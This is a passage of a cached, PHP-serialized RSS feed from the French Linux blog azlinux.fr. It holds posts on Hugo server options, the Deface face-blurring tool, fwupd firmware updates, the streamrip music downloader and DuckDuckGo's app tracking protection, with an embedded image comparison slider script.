192.168.1.22, exécutez :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hugo server --bind 192.168.1.22 --baseURL http://192.168.1.22
</span></span></code></pre></div><p>Si vous voulez écouter sur un port différent (par exemple le port 8080) que celui par défaut, exécutez :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hugo server --bind 192.168.1.22 --baseURL http://192.168.1.22 --port <span class="m">8080</span>
</span></span></code></pre></div><p>[ <a class="link" href="https://discourse.gohugo.io/t/33089/3"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:96:"Deface un outil pour anonymiser les images et les vidéos par détection automatique des visages";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/deface/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 25 Nov 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/deface/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:15095:"<img src="https://azlinux.fr/uploads/bb86718c9817221b5865b0b227924f63.webp" alt="Featured image of post Deface un outil pour anonymiser les images et les vidéos par détection automatique des visages" /><script>(()=>{"use strict";var t={792:(t,e,i)=>{i.d(e,{Z:()=>n});var s=i(609),o=i.n(s)()((function(t){return t[1]}));o.push([t.id,':host{--divider-width: 1px;--divider-color: #fff;--divider-shadow: none;--default-handle-width: 50px;--default-handle-color: #fff;--default-handle-opacity: 1;--default-handle-shadow: none;--handle-position-start: 50%;position:relative;display:inline-block;overflow:hidden;line-height:0;direction:ltr}@media screen and (-webkit-min-device-pixel-ratio: 0)and (min-resolution: 0.001dpcm){:host{outline-offset:1px}}::slotted(*){-webkit-user-drag:none;-khtml-user-drag:none;-moz-user-drag:none;-o-user-drag:none;user-drag:none;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.first{position:absolute;left:0;top:0;right:0;line-height:normal;font-size:100%;max-height:100%;height:100%;width:100%;--exposure: 50%;--keyboard-transition-time: 0ms;--default-transition-time: 0ms;--transition-time: var(--default-transition-time)}.first .first-overlay-container{position:relative;clip-path:inset(0 var(--exposure) 0 0);transition:clip-path var(--transition-time);height:100%}.first .first-overlay{overflow:hidden;height:100%}.first.focused{will-change:clip-path}.first.focused .first-overlay-container{will-change:clip-path}@media not all and (min-resolution: 0.001dpcm){@supports(-webkit-appearance: none){.first{--keyboard-transition-time: 50ms;--default-transition-time: 10ms;transform:translateX(calc(var(--exposure) * -1));transition:transform var(--transition-time);right:auto}.first .first-overlay-container{transform:translateX(var(--exposure));transition:transform var(--transition-time);clip-path:none}.first.focused{will-change:auto}.first.focused .first-overlay-container{will-change:auto}}}.second{position:relative}.handle-container{transform:translateX(50%);position:absolute;top:0;right:var(--exposure);height:100%;transition:right var(--transition-time),bottom var(--transition-time)}.focused .handle-container{will-change:right}@media not all and (min-resolution: 0.001dpcm){@supports(-webkit-appearance: none){.handle-container{right:0}.focused .handle-container{will-change:auto}}}.divider{position:absolute;height:100%;width:100%;left:0;top:0;display:flex;align-items:center;justify-content:center;flex-direction:column}.divider:after{content:" ";display:block;height:100%;border-left-width:var(--divider-width);border-left-style:solid;border-left-color:var(--divider-color);box-shadow:var(--divider-shadow)}.handle{position:absolute;top:var(--handle-position-start);pointer-events:none;box-sizing:border-box;margin-left:1px;transform:translate(calc(-50% - 0.5px), -50%);line-height:0}.default-handle{width:var(--default-handle-width);opacity:var(--default-handle-opacity);transition:all 1s;filter:drop-shadow(var(--default-handle-shadow))}.default-handle path{stroke:var(--default-handle-color)}.vertical .first-overlay-container{clip-path:inset(0 0 var(--exposure) 0)}.vertical .handle-container{transform:translateY(50%);height:auto;top:unset;bottom:var(--exposure);width:100%;left:0;flex-direction:row}.vertical .divider:after{height:1px;width:100%;border-top-width:var(--divider-width);border-top-style:solid;border-top-color:var(--divider-color);border-left:0}.vertical .handle{top:auto;left:var(--handle-position-start);transform:translate(calc(-50% - 0.5px), -50%) rotate(90deg)}@media not all and (min-resolution: 0.001dpcm){@supports(-webkit-appearance: none){.vertical.first{transform:translateY(calc(var(--exposure) * -1))}.vertical .first-overlay-container{transform:translateY(var(--exposure));clip-path:none}.vertical .handle-container{bottom:0}}}',""]);const n=o},609:t=>{t.exports=function(t){var e=[];return e.toString=function(){return this.map((function(e){var i=t(e);return e[2]?"@media ".concat(e[2]," {").concat(i,"}"):i})).join("")},e.i=function(t,i,s){"string"==typeof t&&(t=[[null,t,""]]);var o={};if(s)for(var n=0;n<this.length;n++){var r=this[n][0];null!=r&&(o[r]=!0)}for(var a=0;a<t.length;a++){var l=[].concat(t[a]);s&&o[l[0]]||(i&&(l[2]?l[2]="".concat(i," and ").concat(l[2]):l[2]=i),e.push(l))}},e}}},e={};function i(s){var o=e[s];if(void 0!==o)return o.exports;var n=e[s]={id:s,exports:{}};return t[s](n,n.exports,i),n.exports}i.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return i.d(e,{a:e}),e},i.d=(t,e)=>{for(var s in e)i.o(e,s)&&!i.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:e[s]})},i.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),(()=>{var t=i(792);const e="rendered",s=(t,e)=>{const i=t.getBoundingClientRect();let s,o;return"mousedown"===e.type?(s=e.clientX,o=e.clientY):(s=e.touches[0].clientX,o=e.touches[0].clientY),s>=i.x&&s<=i.x+i.width&&o>=i.y&&o<=i.y+i.height},o=document.createElement("template");o.innerHTML='<div class="second" id="second"> <slot name="second"><slot name="before"></slot></slot> </div> <div class="first" id="first"> <div class="first-overlay"> <div class="first-overlay-container" id="firstImageContainer"> <slot name="first"><slot name="after"></slot></slot> </div> </div> <div class="handle-container"> <div class="divider"></div> <div class="handle" id="handle"> <slot name="handle"> <svg xmlns="http://www.w3.org/2000/svg" class="default-handle" viewBox="-8 -3 16 6"> <path d="M -5 -2 L -7 0 L -5 2 M 5 -2 L 7 0 L 5 2" fill="none" vector-effect="non-scaling-stroke"/> </svg> </slot> </div> </div> </div> ';const n={ArrowLeft:-1,ArrowRight:1},r=["horizontal","vertical"],a=t=>({x:t.touches[0].pageX,y:t.touches[0].pageY}),l=t=>({x:t.pageX,y:t.pageY});class d extends HTMLElement{constructor(){super(),this.exposure=this.hasAttribute("value")?parseFloat(this.getAttribute("value")):50,this.slideOnHover=!1,this.slideDirection="horizontal",this.keyboard="enabled",this.isMouseDown=!1,this.animationDirection=0,this.isFocused=!1,this.handle=!1,this.onMouseMove=t=>{if(this.isMouseDown||this.slideOnHover){const e=l(t);this.slideToPage(e)}},this.bodyUserSelectStyle="",this.onMouseDown=t=>{if(this.slideOnHover)return;if(this.handle&&!s(this.handleElement,t))return;window.addEventListener("mousemove",this.onMouseMove),window.addEventListener("mouseup",this.onWindowMouseUp),this.isMouseDown=!0,this.enableTransition();const e=l(t);this.slideToPage(e),this.focus(),this.bodyUserSelectStyle=window.document.body.style.userSelect,window.document.body.style.userSelect="none"},this.onWindowMouseUp=()=>{this.isMouseDown=!1,window.document.body.style.userSelect=this.bodyUserSelectStyle,window.removeEventListener("mousemove",this.onMouseMove),window.removeEventListener("mouseup",this.onWindowMouseUp)},this.touchStartPoint=null,this.isTouchComparing=!1,this.hasTouchMoved=!1,this.onTouchStart=t=>{this.handle&&!s(this.handleElement,t)||(this.touchStartPoint=a(t),this.isFocused&&(this.enableTransition(),this.slideToPage(this.touchStartPoint)))},this.onTouchMove=t=>{if(null===this.touchStartPoint)return;const e=a(t);if(this.isTouchComparing)return this.slideToPage(e),t.preventDefault(),!1;if(!this.hasTouchMoved){const i=Math.abs(e.y-this.touchStartPoint.y),s=Math.abs(e.x-this.touchStartPoint.x);if("horizontal"===this.slideDirection&&i<s||"vertical"===this.slideDirection&&i>s)return this.isTouchComparing=!0,this.focus(),this.slideToPage(e),t.preventDefault(),!1;this.hasTouchMoved=!0}},this.onTouchEnd=()=>{this.isTouchComparing=!1,this.hasTouchMoved=!1,this.touchStartPoint=null},this.onBlur=()=>{this.stopSlideAnimation(),this.isFocused=!1,this.firstElement.classList.remove("focused")},this.onFocus=()=>{this.isFocused=!0,this.firstElement.classList.add("focused")},this.onKeyDown=t=>{if("disabled"===this.keyboard)return;const e=n[t.key];this.animationDirection!==e&&void 0!==e&&(this.animationDirection=e,this.startSlideAnimation())},this.onKeyUp=t=>{if("disabled"===this.keyboard)return;const e=n[t.key];void 0!==e&&this.animationDirection===e&&this.stopSlideAnimation()},this.resetDimensions=()=>{this.imageWidth=this.offsetWidth,this.imageHeight=this.offsetHeight};const e=this.attachShadow({mode:"open"}),i=document.createElement("style");i.innerHTML=t.Z,this.getAttribute("nonce")&&i.setAttribute("nonce",this.getAttribute("nonce")),e.appendChild(i),e.appendChild(o.content.cloneNode(!0)),this.firstElement=e.getElementById("first"),this.secondElement=e.getElementById("second"),this.handleElement=e.getElementById("handle")}get value(){return this.exposure}set value(t){const e=parseFloat(t);e!==this.exposure&&(this.exposure=e,this.enableTransition(),this.setExposure())}get hover(){return this.slideOnHover}set hover(t){this.slideOnHover="false"!==t.toString().toLowerCase(),this.removeEventListener("mousemove",this.onMouseMove),this.slideOnHover&&this.addEventListener("mousemove",this.onMouseMove)}get direction(){return this.slideDirection}set direction(t){this.slideDirection=t.toString().toLowerCase(),this.slide(0),this.firstElement.classList.remove(...r),r.includes(this.slideDirection)&&this.firstElement.classList.add(this.slideDirection)}static get observedAttributes(){return["hover","direction"]}connectedCallback(){this.hasAttribute("tabindex")||(this.tabIndex=0),this.addEventListener("dragstart",(t=>(t.preventDefault(),!1))),new ResizeObserver(this.resetDimensions).observe(this),this.setExposure(0),this.keyboard=this.hasAttribute("keyboard")&&"disabled"===this.getAttribute("keyboard")?"disabled":"enabled",this.addEventListener("keydown",this.onKeyDown),this.addEventListener("keyup",this.onKeyUp),this.addEventListener("focus",this.onFocus),this.addEventListener("blur",this.onBlur),this.addEventListener("touchstart",this.onTouchStart,{passive:!0}),this.addEventListener("touchmove",this.onTouchMove,{passive:!1}),this.addEventListener("touchend",this.onTouchEnd),this.addEventListener("mousedown",this.onMouseDown),this.handle=this.hasAttribute("handle"),this.hover=!!this.hasAttribute("hover")&&this.getAttribute("hover"),this.direction=this.hasAttribute("direction")?this.getAttribute("direction"):"horizontal",this.resetDimensions(),this.classList.contains(e)||this.classList.add(e),this.querySelectorAll('[slot="before"], [slot="after"]').length>0&&console.warn('<img-comparison-slider>: slot names "before" and "after" are deprecated and soon won\'t be supported. Please use slot="first" instead of slot="after", and slot="second" instead of slot="before".')}disconnectedCallback(){this.transitionTimer&&window.clearTimeout(this.transitionTimer)}attributeChangedCallback(t,e,i){"hover"===t&&(this.hover=i),"direction"===t&&(this.direction=i),"keyboard"===t&&(this.keyboard="disabled"===i?"disabled":"enabled")}setExposure(t=0){var e;this.exposure=(100,(e=this.exposure+t)<0?0:e>100?100:e),this.firstElement.style.setProperty("--exposure",100-this.exposure+"%")}slide(t=0){this.setExposure(t);const e=new Event("slide");this.dispatchEvent(e)}slideToPage(t){"horizontal"===this.slideDirection&&this.slideToPageX(t.x),"vertical"===this.slideDirection&&this.slideToPageY(t.y)}slideToPageX(t){const e=t-this.getBoundingClientRect().left-window.scrollX;this.exposure=e/this.imageWidth*100,this.slide(0)}slideToPageY(t){const e=t-this.getBoundingClientRect().top-window.scrollY;this.exposure=e/this.imageHeight*100,this.slide(0)}enableTransition(){this.firstElement.style.setProperty("--transition-time","100ms"),this.transitionTimer=window.setTimeout((()=>{this.firstElement.style.setProperty("--transition-time","var(--default-transition-time)"),this.transitionTimer=null}),100)}startSlideAnimation(){let t=null,e=this.animationDirection;this.firstElement.style.setProperty("--transition-time","var(--keyboard-transition-time)");const i=s=>{if(0===this.animationDirection||e!==this.animationDirection)return;null===t&&(t=s);const o=(s-t)/16.666666666666668*this.animationDirection;this.slide(o),setTimeout((()=>window.requestAnimationFrame(i)),0),t=s};window.requestAnimationFrame(i)}stopSlideAnimation(){this.animationDirection=0,this.firstElement.style.setProperty("--transition-time","var(--default-transition-time)")}}"undefined"!=typeof window&&window.customElements.define("img-comparison-slider",d)})()})();</script>   
<style>img-comparison-slider {visibility: hidden;margin-top: 1.5em}img-comparison-slider [slot='second'] {display: none;}img-comparison-slider.rendered {visibility: inherit;}img-comparison-slider.rendered [slot='second'] {display: unset;}</style>
<p>Deface est un outil en ligne de commande qui fonctionne en détectant d&rsquo;abord tous les visages humains présents dans les images et/ou les vidéos, puis il applique un filtre d&rsquo;anonymisation composé de flous ou de carrés noirs recouvrant la surface de chaque tête identifiée.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour utiliser l&rsquo;outil, rien de plus simple, il suffit d&rsquo;exécuter la commande deface suivie du nom de l&rsquo;image de votre choix à flouter :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">deface Abbey-Road.jpg
</span></span></code></pre></div><img-comparison-slider tabindex="0" class="rendered">
  <img slot="first" src="uploads/332a4054b6ffebe43d8a72b03f5c749b.webp" width="100%">
  <img slot="second" src="uploads/bb86718c9817221b5865b0b227924f63.webp" width="100%">
</img-comparison-slider>
<p>Par défaut, chaque visage détecté est anonymisé par l&rsquo;application d&rsquo;un filtre flou, mais si vous préférez anonymiser les visages en dessinant des carrés noirs par-dessus, vous pouvez le faire avec les options &ndash;boxes et &ndash;replacewith :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">deface Abbey-Road.jpg --boxes --replacewith solid
</span></span></code></pre></div><img-comparison-slider tabindex="0" class="rendered">
  <img slot="first" src="uploads/332a4054b6ffebe43d8a72b03f5c749b.webp" width="100%">
  <img slot="second" src="uploads/fa1a91f1dbfc007a7f46080af524dd46.webp" width="100%">
</img-comparison-slider>
<h2 id="installation">Installation</h2>
<p>Pour installer deface, rien de plus simple, il suffit d’exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install deface
</span></span></code></pre></div><p>C&rsquo;est tout pour moi, je ne vous montrerai pas comment cela fonctionne avec des vidéos, car cela fonctionne exactement de la même manière, mais je trouve le résultat remarquable, en plus d&rsquo;être efficace et facile à utiliser, deface est <a class="link" href="https://github.com/ORB-HD/deface"  target="_blank" rel="noopener"
    >open-source</a> donc n&rsquo;hésitez pas à le tester par vous-même dès maintenant pour vous faire votre propre idée !</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:73:"fwupd un outil pour mettre à jour le firmware (BIOS et UEFI) de votre PC";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:77:"https://azlinux.fr/fwupd-un-outil-pour-mettre-a-jour-le-firmware-de-votre-pc/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 22 Nov 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:77:"https://azlinux.fr/fwupd-un-outil-pour-mettre-a-jour-le-firmware-de-votre-pc/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4368:"<img src="https://azlinux.fr/uploads/10c6af01374d71631528194317dfcb32.webp" alt="Featured image of post fwupd un outil pour mettre à jour le firmware (BIOS et UEFI) de votre PC" /><p>fwupd est un démon qui permet au logiciel de la session de mettre à jour le firmware (ou logiciel embarqué en français) de votre PC. Vous avez peut-être déjà utilisé cet outil sans vous en rendre compte puisqu&rsquo;il est intégré à la bibliothèque des logiciels GNOME Software. Dans cet article, nous allons voir comment fwupd peut être utilisé directement à partir de la ligne de commande. Notez que fwupd prend en charge un large éventail de périphériques, il est donc probable que votre matériel sera reconnu sans problème.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour utiliser fwupd, commencez par vérifier si tous les dispositifs de votre ordinateur sont détectés en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo fwupdmgr get-devices
</span></span></code></pre></div><p>Ensuite, téléchargez les dernières métadonnées provenant du <a class="link" href="https://fwupd.org/"  target="_blank" rel="noopener"
    >Linux Vendor Firmware Service</a> (LVFS) en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo fwupdmgr refresh
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">Mise</span> <span class="err">à</span> <span class="n">jour</span> <span class="n">lvfs</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Téléchargement</span><span class="err">…</span>          <span class="p">[</span><span class="o">***************************************</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">Successfully</span> <span class="n">downloaded</span> <span class="n">new</span> <span class="n">metadata</span><span class="p">:</span> <span class="mi">1</span> <span class="n">local</span> <span class="n">device</span> <span class="n">supported</span>
</span></span></code></pre></div><p>Vous pouvez ensuite vérifier si des mises à jour sont disponibles pour les différents périphériques de votre ordinateur en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo fwupdmgr get-updates
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Devices with no available firmware updates: 
</span></span><span class="line"><span class="ln">2</span><span class="cl"> • System Firmware
</span></span><span class="line"><span class="ln">3</span><span class="cl">Devices with the latest available firmware version:
</span></span><span class="line"><span class="ln">4</span><span class="cl"> • UEFI dbx
</span></span><span class="line"><span class="ln">5</span><span class="cl">No updates available
</span></span></code></pre></div><p>Si des mises à jour sont disponibles, vous pouvez les télécharger et les déployer en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo fwupdmgr update
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/89e1ceb0a16b82eef7de0f881b6c6a4f.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer fwupd, rien de plus simple, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install fwupd
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:94:"Télécharger avec ce script légalement de la musique en Haute Résolution (Hi-Res) sur Qobuz";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:101:"https://azlinux.fr/telecharger-avec-ce-script-legalement-de-la-musique-en-haute-resolution-sur-qobuz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 21 Nov 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:101:"https://azlinux.fr/telecharger-avec-ce-script-legalement-de-la-musique-en-haute-resolution-sur-qobuz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3356:"<img src="https://azlinux.fr/uploads/ece61c09e83849d837421f020ab807a9.webp" alt="Featured image of post Télécharger avec ce script légalement de la musique en Haute Résolution (Hi-Res) sur Qobuz" /><p>Cet outil vous permet de télécharger des titres, des albums, des listes de lecture à partir de plusieurs sources comme <a class="link" href="https://www.qobuz.com/"  target="_blank" rel="noopener"
    >Qobuz</a>, <a class="link" href="https://tidal.com/"  target="_blank" rel="noopener"
    >Tidal</a>, <a class="link" href="https://www.deezer.com/"  target="_blank" rel="noopener"
    >Deezer</a> et <a class="link" href="https://soundcloud.com/"  target="_blank" rel="noopener"
    >SoundCloud</a>. Il est très rapide car il télécharge et convertit automatiquement et simultanément les fichiers au format souhaité. Il dispose également d&rsquo;une base de données qui stocke les identifiants de chaque piste téléchargée pour éviter les répétitions. Notez que pour Tidal et Qobuz, vous avez besoin d&rsquo;un abonnement premium.</p>
<h2 id="utilisation">Utilisation</h2>
<p>La commande vous permet de télécharger une chanson ou un album depuis une URL ou plus en qualité CD avec le paramètre <code>--max-quality</code>, puis de le convertir au format FLAC :</p>
<table>
<thead>
<tr>
<th>Quality ID</th>
<th>Audio Quality</th>
<th>Available Sources</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>128 kbps MP3 or AAC</td>
<td>Deezer, Tidal, SoundCloud</td>
</tr>
<tr>
<td>1</td>
<td>320 kbps MP3 or AAC</td>
<td>Deezer, Tidal, Qobuz, SoundCloud</td>
</tr>
<tr>
<td>2</td>
<td>16 bit, 44.1 kHz (CD)</td>
<td>Deezer, Tidal, Qobuz, SoundCloud</td>
</tr>
<tr>
<td>3</td>
<td>24 bit, ≤ 96 kHz</td>
<td>Tidal (MQA), Qobuz, SoundCloud</td>
</tr>
<tr>
<td>4</td>
<td>24 bit, ≤ 192 kHz</td>
<td>Qobuz</td>
</tr>
</tbody>
</table>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rip url <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>    --codec flac
</span></span><span class="line"><span class="ln">3</span><span class="cl">    --max-quality <span class="m">2</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    https://open.qobuz.com/track/51728395
</span></span></code></pre></div><p>La commande recherche Stupeflip vite !!! sur Qobuz, et le télécharge :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rip search <span class="s1">&#39;Stupeflip vite !!!&#39;</span>
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/9cbec2dd73395bdb5bb76efdde6dab19.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer streamrip, rien de plus simple, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install streamrip
</span></span></code></pre></div><p>[ <a class="link" href="https://github.com/nathom/streamrip/"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:83:"DuckDuckGo ouvre à tous son service de protection contre le suivi des applications";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:102:"https://azlinux.fr/duckduckgo-ouvre-a-tous-son-service-de-protection-contre-le-suivi-des-applications/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 17 Nov 2022 08:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:102:"https://azlinux.fr/duckduckgo-ouvre-a-tous-son-service-de-protection-contre-le-suivi-des-applications/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2982:"<img src="https://azlinux.fr/uploads/d09e5f5b50121f3e5c9224e53baa19b5.webp" alt="Featured image of post DuckDuckGo ouvre à tous son service de protection contre le suivi des applications" /><p>DuckDuckGo a lancé hier son service &ldquo;App Tracking Protection&rdquo;, disponible gratuitement pour toute personne possédant un Android.</p>
<p>La fonctionnalité est disponible dans l&rsquo;application <a class="link" href="https://play.google.com/store/apps/details?id=com.duckduckgo.mobile.android"  target="_blank" rel="noopener"
    >DuckDuckGo</a> et vous permet de bloquer les traceurs tiers qui peuvent être présents dans les applications que vous utilisez.</p>
<p>Selon l&rsquo;équipe de DuckDuckGo, les utilisateurs d&rsquo;Android ont en moyenne 35 applications installées sur leur téléphone portable, générant entre 1 000 et 2 000 tentatives de suivi par jour, partageant vos données avec plus de 70 sociétés de suivi différentes.</p>
<p>Cette fonctionnalité fonctionne de manière transparente en arrière-plan, sans impact notable sur les performances de votre appareil. Pour activer cette fonctionnalité, vous devez vous rendre dans les paramètres de l&rsquo;application DuckDuckGo et activer la protection contre le suivi des applications.</p>
<p>La fonctionnalité fonctionne en configurant l&rsquo;application DuckDuckGo comme un VPN, ce qui permet, via une <a class="link" href="https://github.com/duckduckgo/tracker-blocklists/tree/main/app"  target="_blank" rel="noopener"
    >liste de blocage</a> prédéfinie, de filtrer le trafic sortant d&rsquo;une application. Il est important de noter que, contrairement à un VPN traditionnel, la fonction VPN n&rsquo;est utilisée que localement et ne passe pas par des serveurs distants.</p>
<p>Lorsque la protection contre le suivi des applications est activée, elle détecte chaque application qui tente de vous suivre et fournit un aperçu en temps réel des résultats de la protection contre le suivi des applications.</p>
<p><img src="https://azlinux.fr/uploads/5fe9d8fe6fbf5b8db5d6f102123ccc76.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Elle montre également combien de tentatives ont été bloquées, à partir de quelles applications, à quelles entreprises les données auraient dû être envoyées, et quel type d&rsquo;informations auraient été partagées s&rsquo;il n&rsquo;y avait pas eu de blocage.</p>
<p><img src="https://azlinux.fr/uploads/e8fdc472c5af93f9c9ea9681ceeaf3d7.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Il est également important de noter que certaines fonctionnalités de vos applications peuvent ne pas fonctionner et qu&rsquo;il est donc possible de désactiver cette protection pour une application donnée.</p>
<p><img src="https://azlinux.fr/uploads/11dd1a5be50574a2a9778adffe83c249.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>[ <a class="link" href="https://spreadprivacy.com/app-tracking-protection-open-beta/"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
